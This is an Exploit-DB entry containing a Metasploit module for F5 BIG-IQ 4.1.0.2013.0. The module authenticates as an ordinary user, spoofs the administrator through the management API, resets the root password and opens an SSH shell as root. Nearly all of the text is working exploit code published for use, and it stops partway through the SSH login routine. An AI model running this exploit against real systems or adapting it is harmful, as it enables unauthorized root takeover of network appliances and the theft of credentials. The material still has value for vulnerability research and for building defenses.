Exploit-DB #33143
Description: F5 BIG-IQ 4.1.0.2013.0 - Privilege Escalation (Metasploit)
Type: remote
Platform: hardware
Date: 2014-05-02
Author: Brandon Perry

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'json'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "F5 BIG-IQ v4.1.0.2013.0 authenticated arbitrary user password change",
      'Description'    => %q{
      F5 BIG-IQ v4.1.0.2013.0 is vulnerable to a privilege escalation attack which allows
      an attacker to change the root users password. This module does just this, then SSH's in.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile@gmail.com>'
        ],
      'References'     =>
        [
          ['URL', 'http://volatile-minds.blogspot.com/2014/05/f5-big-iq-v41020130-authenticated.html']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['BIG-IQ 4.1.0.2013.0', {}]
        ],
      'Privileged'     => true,
      'DefaultOptions'  =>
      {
        'SSL' => true,
        'ExitFunction' => "none"
      },
      'Payload'        =>
      {
        'Compat' => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'DisclosureDate' => "Sep 23 2013",
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
          OptString.new('USERNAME', [true, 'The user to authenticate as.', 'username']),
          OptString.new('PASSWORD', [true, 'The password to authenticate with.', 'password']),
          OptString.new('ADMINISTRATOR', [true, 'The administrator to spoof for privilege escalation', 'root']),
          OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
        ], self.class)
  end

  def exploit
    post = {
      'username' => datastore['USERNAME'],
      'passwd' => datastore['PASSWORD']
    }

    print_status("Authenticating as " + datastore['USERNAME'])

    #Simple post to get us a cookie so we can change our password
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/ui/actions/logmein.html',
      'vars_post' => post
    })

    if res.headers["Location"] != "/"
      fail_with("Authentication failed")
    end

    cookie = res.get_cookies

    #this gets turned into JSON
    #
    #generation will be set in try_generation if it isn't correct
    #
    #This is also the attempt at privilege escalation, so we preserve the password
    post = {
      "name" => datastore['ADMINISTRATOR'],
      "displayName" => "fdsa",
      "generation" => 1,
      "lastUpdateMicros" => [PII_REDACTED],
      "kind" => "shared:authz:users:usersworkerstate",
      "selfLink" => "https://localhost/mgmt/shared/authz/users/" + datastore['USERNAME'],
      "password" => datastore['PASSWORD'],
      "password2" => datastore['PASSWORD'],
      "state" => "ACTIVE"
    }

    print_status("Escalating privileges to that of " + datastore["ADMINISTRATOR"])

    try_generation(post, cookie, '/mgmt/shared/authz/users/' + datastore['USERNAME'])

    password = Rex::Text.rand_text_alpha(rand(32)+5)

    #this is when we change the password for the root user
    post = {
      "name" => "root",
      "displayName" => "root",
      "generation" => 1,
      "lastUpdateMicros" => [PII_REDACTED],
      "kind" => "shared:authz:users:usersworkerstate",
      "selfLink" => "https://localhost/mgmt/shared/authz/users/root",
      "password" => password,
      "password2" => password,
      "state" => "ACTIVE"
    }

    select(nil,nil,nil,5)
    print_status("Changing root user password to " + password)

    try_generation(post, cookie, '/mgmt/shared/authz/users/root')

    res = do_login('root', password)

    if res
      print_good("Login Successful with 'root:#{password}'")
      handler(res.lsock)
    end
  end

  def try_generation(put, cookie, uri)
    done = false
    while !done
      res = send_request_cgi({
        'method' => "PUT",
        'uri' => uri,
        'data' => put.to_json,
        'cookie' => cookie
      })

      if res and res.body =~ /Invalid generation/
        put['generation'] = /Need (\d{1,9}), received \d{1,9}/.match(res.body)[1]
      elsif res and res.body =~ /encryptedPassword/
        done = true
      else
        fail_with("Didn't get a response that I expected")
      end
    end
  end
    def do_login(user, pass)

      opts = {
        :auth_methods => ['password', 'keyboard-interactive'],
        :msframework  => framework,
        :msfmodule    => self,
        :port         => 22,
        :disable_agent => true,
        :config => true,
        :password => pass,
        :record_auth_info => true,
        :proxies => datastore['Proxies']
      }

      opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

      begin
        ssh = nil
        ssh = Net::SSH.start(datastore['RHOST'], user, opts)
      rescue Rex::ConnectionError, Rex::AddressInUse
        return nil
      rescue Net::SSH::Disconnect, ::EOFError
        print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
        return nil
      rescue ::Timeout::Error
        print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
        return nil
      rescue Net::SSH::AuthenticationFailed
        print_error "#{rhost}:#{rport} SSH - Failed authentication"
        return nil
      rescue Net::SSH::Exception => e
        print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
        return nil
      end